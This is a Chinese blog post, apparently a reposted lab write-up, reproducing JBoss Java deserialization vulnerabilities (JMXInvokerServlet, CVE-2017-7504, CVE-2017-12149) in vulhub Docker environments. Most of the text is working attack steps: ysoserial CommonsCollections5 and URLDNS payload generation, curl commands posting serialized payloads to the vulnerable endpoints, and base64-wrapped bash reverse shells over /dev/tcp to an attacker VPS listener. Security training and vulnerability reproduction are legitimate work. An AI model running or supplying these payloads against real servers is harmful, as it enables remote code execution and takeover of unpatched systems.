暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

JBoss 系列漏洞复现

pen4uin 2021-01-18
814

前言

        这篇文章的环境均来自p牛的vulhub:

建议在pc端阅读



JMXInvokerServlet-deserialization

执行如下命令启动JBoss环境:

    docker-compose up -d

    踩坑:

    端口占用,修改docker-compose.yml, 端口改成9999

    环境启动后,目标为

      http://your-ip:8080

      这是经典的JBoss反序列化漏洞,JBoss在

        /invoker/JMXInvokerServlet

        请求中读取了用户传入的对象,可利用Apache Commons Collections中的Gadget执行任意代码,。

        利用方式同CVE-2017-12149 (见下文).



        CVE-2017-7504

        执行如下命令启动JBoss AS 4.0.5:

          docker-compose up -d

          环境启动后,目标为

            http://your-ip:8080

            漏洞出现在

              /jbossmq-httpil/HTTPServerILServlet

              借助ysoserial的CommonsCollections5利用链来复现。

              生成payload,先验证环境是否搭建成功:

                # 创建文件bailu
                java -jar ysoserial.jar CommonsCollections5 "touch tmp/bailu" > poc_touch_cve_2017_7504.ser
                # 将poc_touch_cve_2017_7504.ser文件内容作为POST Body提交
                curl http://ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc_touch_cve_2017_7504.ser

                回到靶机的docker中,发现文件已成功创建:

                  docker ps
                  docker exec -it df8b31ce3722 bin/bash
                  ls tmp/


                  到这一步,环境就算搭建成功了。


                  dnslog-URLDNS

                  使用ysoserialURLDNS 模块生成dnslog回显的payload:

                    java -jar ysoserial.jar URLDNS http://dnslog > poc_dnslog.bin
                    curl http://ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc_dnslog.bin

                    成功在dnslog平台收到记录:


                    reverse shell

                    由于

                      Runtime.getRuntime().exec()

                      中不能使用管道符等bash需要的方法,需要用进行一次base64编码:

                        bash -i >& /dev/tcp/0.0.0.0/7777 0>&1


                        使用ysoserial.jar生成payload,并向/jbossmq-httpil/HTTPServerILServlet发起post请求,提交poc_shell.ser:

                          # base64_str 见上图的编码部分
                          java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,base64_str}|{base64,-d}|{bash,-i}" > poc_shell.ser
                          curl http://ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc_shell.ser

                          如图,成功反弹shell:



                          CVE-2017-12149

                          执行如下命令启动JBoss 5.x/6.x:

                            # 关掉上一步的docker
                            docker kill df8b31ce3722
                            docker-compose up -d

                            环境启动后,目标为

                              http://your-ip:8080

                              漏洞出现在

                                /invoker/readonly

                                请求中,服务器将用户提交的POST内容进行了Java反序列化:

                                同CVE-2017-12149, 使用bash来反弹shell,但由于

                                  Runtime.getRuntime().exec()

                                  中不能使用管道符等bash需要的方法,需要进行一次base64编码。

                                  注:使用的gadget是CommonsCollections5。


                                  dnslog-URLDNS

                                  使用ysoserialURLDNS 模块生成dnslog回显的payload:

                                    java -jar ysoserial.jar URLDNS http://dnslog > poc_dnslog.bin
                                    curl http://ip:8080/invoker/readonly --data-binary @poc_dnslog.bin

                                    成功在dnslog平台收到记录:


                                    reverse shell

                                    同CVE-2017-7504,由于

                                      Runtime.getRuntime().exec()

                                      中不能使用管道符等bash需要的方法,需要用进行一次base64编码:

                                        bash -i >& /dev/tcp/0.0.0.0/8888 0>&1

                                        得到编码结果:

                                        使用ysoserial.jar 生成poc_shell.ser

                                          # base64_str 见上图
                                          java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,base64_str}|{base64,-d}|{bash,-i}" > poc_shell.ser

                                          并在attack_vps监听8888端口:

                                            curl http://ip:8080/invoker/readonly --data-binary @poc_shell.ser

                                            如图,成功反弹shell:


                                            结语

                                                这几天突然体会到了弹计算器的快乐!😂



                                            参考:

                                            http://www.jackson-t.ca/runtime-exec-payloads.html

                                            https://github.com/vulhub/vulhub/tree/master/jboss/


                                            文章转载自pen4uin,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                                            评论